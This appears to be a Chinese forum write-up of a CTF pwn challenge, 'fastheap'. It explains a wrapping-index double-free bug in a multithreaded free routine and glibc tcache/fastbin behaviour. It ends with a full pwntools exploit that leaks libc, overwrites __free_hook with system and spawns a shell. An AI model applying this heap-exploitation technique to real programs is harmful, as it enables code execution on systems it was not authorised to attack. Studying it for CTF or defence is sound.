首页
论坛
专栏
课程

[原创]2019 Q2 第九题 绝地逃生(pwn) 分析

2019-6-23 20:02 2435

[原创]2019 Q2 第九题 绝地逃生(pwn) 分析

2019-6-23 20:02
2435

0x0 checksec

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

0x1 程序分析

实现几个基本功能

abc@abc-vm:~/Desktop/kctf_Q2_9$ ./fastheap 
1. malloc
2. fast free
3. puts
4. exit
>>>

漏洞在free中:
启动若干个线程完成free工作:

    do
    {
      if ( pthread_create((pthread_t *)p, 0LL, (void *(*)(void *))start_routine, &Max_2) )
        goto gg;
      ++p;
    }
    while ( p_base != p );
    i = 0LL;
    while ( !pthread_join(tid[i], 0LL) )
    {
      if ( num_1 == ++i )
        goto LABEL_13;
    }

线程函数:
由于是带原子锁的方式来访问并修改共享变量,这里并没有线程间的竞争漏洞。
漏洞点在于无论当前要free的idx是否小于MAX,idx都会+1。
最简单的情况:MAX=255,线程数=2。线程1访问完idx=255,发现idx>=MAX,于是退出了,然而此时idx+1=0,线程2再来访问时idx就变成了0了,于是从0到MAX又重新free了一圈。

void *__fastcall start_routine(void *pMax)
{
  unsigned __int64 v2; // [rsp+0h] [rbp-28h]

  while ( 1 )
  {
    v2 = (unsigned __int8)_InterlockedExchangeAdd8((volatile signed __int8 *)pMax + 8, 1u);
    if ( *(_QWORD *)pMax <= v2 )
      break;
    if ( !ptr[v2] )
      exit(-1);
    free((void *)ptr[v2]);
  }
  return 0LL;
}

0x3 利用思路

调试发现,子线程是有自己的tcache的,子线程结束时,会把tcache中的chunk根据chunk的大小放到对应的fastbin或者unsorted bin中。所以leak libc很简单,在0处malloc一个0x90的chunk,free过后0被free了,但是指针并没被清零,于是可Leak libc。

 

MAX取255,线程数=2时,0-MIN的内存会被free一次,MIN-MAX之间的内存会被free两次,由于tcache加入fastbin时会有重复性检测,因此MIN不能取254,可以取253。

 

调试发现,malloc一个在fastbin范围内的内存时,如果tcache未满,则libc会把剩下的fastbin放入tcache中,那我们只需要伪造tcache chunk的fd就能让Malloc返回任意地址了。

 

让malloc返回__free_hook,填充为system,然后free一块内容为"/bin/sh\x00"的内存,拿到shell。

0x4 完整EXP

from pwn import *
import pdb 
env = {'LD_PRELOAD':'./libc-2.27.so'}
libc = ELF('./libc-2.27.so')
p = process('./fastheap',env=env)
# p = remote('152.136.18.34',10000)
def menu():
    p.recvuntil('>>> ')

def malloc(idx,size=0x10,content='Nothing'):
    p.sendline('1')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Contents: ')
    p.sendline(content)
    menu()

def free(l,r,nthread):
    p.sendline('2')
    p.recvuntil('range: ')
    p.sendline(str(l)+'-'+str(r))
    p.recvuntil('workers: ')
    p.sendline(str(nthread))
    menu()

def puts(idx):
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    s = p.recvuntil('>>> ')[:16]
    return [hex(ord(c)) for c in s]

menu()
malloc(0,0x90)

for i in range(1,253):
    malloc(i)
for i in range(253,255):
    malloc(i,0x60)

free(253,255,2)

s = puts(0)
leak_addr = int(''.join([s[5-i][2:] for i in range(6)]),16)
print('leak_addr:',hex(leak_addr))
libc_base = leak_addr - 0x3ebca0
print('libc_base:',hex(libc_base))
free_hook = libc_base + +libc.symbols['__free_hook']
print('free_hook',hex(free_hook))
system = libc_base + libc.symbols['system']
print('system',hex(system))

free(1,253,1)
malloc(1,0x90)

malloc(2,0x60,p64(free_hook))
malloc(3,0x60,'/bin/sh\x00')
malloc(4,0x60)
malloc(5,0x60,p64(system))

p.sendline('2')
p.recvuntil('range: ')
p.sendline(str(3)+'-'+str(4))
p.recvuntil('workers: ')
p.sendline(str(1))
p.interactive()

PS:不知道远程服务器做了什么设置,本地是能拿到shell的,切换远程的时候就打印出了flag的值就结束了。



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-6-26 13:39 被jackandkx编辑 ,原因:
最新回复 (1)
aabiaobiao 2019-6-26 13:10
2
0
你可以尝试干干封包  然后发出来 保证出来就是精华帖  哈哈
游客
登录 | 注册 方可回帖
返回